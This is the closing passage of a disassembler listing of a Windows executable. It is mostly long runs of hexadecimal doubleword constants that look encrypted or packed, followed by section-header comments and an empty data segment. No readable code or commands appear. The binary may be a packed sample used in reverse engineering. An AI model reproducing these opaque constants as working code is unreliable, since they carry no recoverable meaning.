		dd 0BB18279Eh, 84D8554Ah, 8FD4CD2Ah, 0AC18C542h, 88301A88h
		dd 0EE913D98h, 4DD5EEA6h, 34AB88B5h, 0D4080286h, 0BCE0C39Eh
		dd 4D214947h, 0E1DFF1CDh, 0F9DA20D8h, 551F9019h, 0E289F29Fh
		dd 3C7F4670h, 0D91AD2B6h, 0C613F4F4h, 0F53680D0h, 0E959FCCCh
		dd 60D60142h, 38173584h, 6B444468h, 3C823063h, 8A02599Fh
		dd 3E3E26D2h, 5EE08168h, 93B0E2C8h, 0C2C63807h,	0A14CA45h
		dd 27419E76h, 7D593880h, 861F0ACDh, 79A91F02h, 9C7B4CCDh
		dd 0E68EFC3Ah, 0F0CF3676h, 0B3DD4B91h, 87547D6Ah, 1612A568h
		dd 1AFEF71Bh, 3101AEF3h, 130FFCB9h, 8FB1DC83h, 0F0A0CEC2h
		dd 3689DAA1h, 0D0FB7DE6h, 0FACC16A9h, 0A2868864h, 0EA632516h
		dd 327A3E06h, 0F2E607FEh, 0FE0BC983h, 97FDBABh,	592189C0h
		dd 1D45789Ch, 160806B4h, 0F590EA3Ch, 62DD0C61h,	0ADC90DFh
		dd 57CC46C5h, 0F6740017h, 0A573A4B3h, 0CA639A96h, 0D0E8D43Eh
		dd 55062A13h, 8714C0BFh, 20F8D5B0h, 12CD7619h, 0A49A1761h
		dd 91A9E3F7h, 1211E7B7h, 0E4C6393Ch, 1A8A31Dh, 6396E074h
		dd 0C990EA8Dh, 0FAB66C7Dh, 7FCCB57Ah, 9C67A7B8h, 1EB742B2h
		dd 0E4AB5C14h, 0E87B562Ch, 0BC4EA212h, 98C93310h, 2861E120h
		dd 0CA4B8BB2h, 2DB6F665h, 68AA0C82h, 1330315h, 0FAB120C0h
		dd 7F022341h, 3DDA4C3Dh, 0C03BE1C9h, 69A76AC2h,	70A3AE29h
		dd 502B4CCEh, 6A192AACh, 0A38E4F42h, 1EA37611h,	0F372D61Ch
		dd 52156B8Ah, 5CF5D337h, 0C4E611Dh, 6FB94AFDh, 0D75D8D2Bh
		dd 162EC904h, 4567B144h, 52180C57h, 0E98FDBCCh,	2A0CD6A5h
		dd 7F443977h, 0E3E89C32h, 0A7B37ABCh, 8FE08EDDh, 7C350C92h
		dd 0AB6B1ACCh, 0E6664A0Fh, 0FBE5FD91h, 0B89F2A0Bh, 0D61450C1h
		dd 0F3616EFDh, 836742D9h, 0D57FBB6Eh, 4691DEFFh, 33B2A3E7h
		dd 41A0DA66h, 3EDCCE3Fh, 813F1857h, 693DAF59h, 0BD4C896Fh
		dd 869CC533h, 17BAFCB7h, 6ABED5DEh, 5E7D1558h, 2DDD52A4h
		dd 0A01CC338h, 24D72167h, 0D4E8190Eh, 0B1C740DBh, 6C37A96Bh
		dd 0B7390FADh, 0D8D1FEE2h, 0CC35901Bh, 631301A7h, 8DCE23B6h
		dd 0A663A85Fh, 9DE626A7h, 29E749EAh, 0ED8CFB27h, 7D08E13Fh
		dd 0DE99794Ah, 0EB584D98h, 0DB90AB6Ch, 861127F9h, 306F0206h
		dd 0AB3ECF54h, 0EF9006E6h, 71735012h, 97013E05h, 1C440C98h
		dd 0F1B95327h, 0CF5BF981h, 0FEB59822h, 0A11E2261h, 0C0DC8B41h
		dd 0D4A0F4C1h, 0E4CA07C5h, 1A4226C2h, 28C39F3Fh, 296F65C2h
		dd 0F73E6A5h, 0B0477CB4h, 50A2F861h, 7666056h, 0D00F6B24h
		dd 0CC66D4F7h, 7A16D511h, 775C3CC9h, 0FE3ECDABh, 808930Eh
		dd 0C12A17ABh, 6E38C2AAh, 3A718A17h, 5EAC66B3h,	7DFC2886h
		dd 33997536h, 4FCD6BD9h, 94C8FE71h, 4F153763h, 718F2154h
		dd 0E22F6C3h, 0B8E35D1Bh, 52577439h, 13235A3Dh,	6BB8910h
		dd 0BC6C9B4Ch, 0F77AD701h, 0A82BD631h, 0BADC3486h, 73F7D549h
		dd 2F361A25h, 4F2838BDh, 7A360267h, 0A4B4F8A8h,	74E53002h
		dd 8770A753h, 0AB5FA261h, 9D88A37Ch, 6F21A38h, 3918E76h
		dd 2C7AC762h, 507FAACCh, 845BED46h, 0D965A605h,	5239BFFCh
		dd 0C646CFA7h, 0D739C65h, 0B7DAE34Bh, 0C3CACF73h, 32F8F5D8h
		dd 933F10A5h, 202776D6h, 0B56DF3ADh, 5AEC5AFDh,	0CC985C79h
		dd 4338B782h, 63475898h, 229771FFh, 0A12E7B40h,	1BF0D41h
		dd 0E9DD9B81h, 0ABF548E7h, 0EBCEFC8Ch, 44E0909Eh, 342EFC5Ch
		dd 0AD57D5F0h, 35141BAEh, 4B4818A0h, 3FDE829Bh,	2A45597Ch
		dd 0A06F2ED4h, 0BCD54BDEh, 403A3548h, 1AD39D11h, 4B5077ABh
		dd 7A91FF0h, 9AC5336Dh,	53B2D4A9h, 21AD1B1Dh, 8CE390E4h
		dd 740F65CFh, 41FF63EAh, 8972CA4Ah, 344EC9ACh, 0C310B45Eh
		dd 0E9423131h, 0ED35393Dh, 965749ADh, 0FFE551B5h, 666A29FBh
		dd 95B02578h, 0B18F7D9Bh, 0CF066E2Bh, 6571B91Bh, 591C2AFEh
		dd 0E8F5C593h, 0CE8D3378h, 9D5FA6C6h, 74EA334Dh, 0D9E1E2FAh
		dd 0CA58A646h, 0D7A1C662h, 2DC43282h, 0F5034F8Bh, 0DB63920h
		dd 0D340AAB9h, 0E984E23Ah, 2A0F818Dh, 5354DF00h, 88A4C9Ch
		dd 11456F71h, 8BFCCD5Ah, 2E6D5238h, 0D9B11A7Ah,	0C27A11FDh
		dd 1862F62h, 30FCB656h,	0AC4EB362h, 74D1E265h, 6E24BCF1h
		dd 3ECD688Fh, 8A9EFF32h, 0E31C6AFFh, 29E7A735h,	2111ACF9h
		dd 0E0D94270h, 4FB30C41h, 0F90245AAh, 5F21BDA8h, 0F422EBD3h
		dd 0EA04BA81h, 0D9D85927h, 35EB7E11h, 5DBF6A57h, 0FD9286ADh
		dd 0D2ECBC03h, 6AF28668h, 871147Dh, 48CA89B1h, 2E8CF75Bh
		dd 2645461h, 0D08DE09Ah, 0BA4D0D2Dh, 8B804CBAh,	0DA3C1A32h
		dd 0E5A2E0Dh, 0CE7E4A9Eh, 0A60F58C4h, 0C699619h, 526BC5F3h
		dd 3BF9A9CFh, 85874B82h, 207B8349h, 2F015CBEh, 0EB418C9Fh
		dd 0C81DF2BDh, 452FD16Ah, 5BBF0820h, 2E4542CBh,	4E4BD83h
		dd 0D55ECB30h, 6F1DE9D9h, 7C2F397Eh, 21070493h,	0EC79CB8Eh
		dd 6730267Ch, 0A384BE08h, 81A43C16h, 0D262AAF5h, 0E02F0290h
		dd 875C5035h, 208C6D34h, 0B20CBC7Fh, 3C9572FBh,	0AD93182Bh
		dd 0C52E033Bh, 0C7677E12h, 494FA03h, 8EA8B1F8h,	4C367ADAh
		dd 7E93D188h, 0DCE8AF25h, 0F80AD09Dh, 802CC47Ah, 59C89296h
		dd 799764F0h, 18A5E722h, 59F0F2B7h, 0D9171804h,	810C2935h
		dd 0E8CF5848h, 6A8B9E93h
		dd 400h	dup(0)
_text		ends

; Section 3. (virtual address 0002E000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 0002D200
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 42E000h
		dd 80h dup(0)
		align 1000h
_idata2		ends


		end start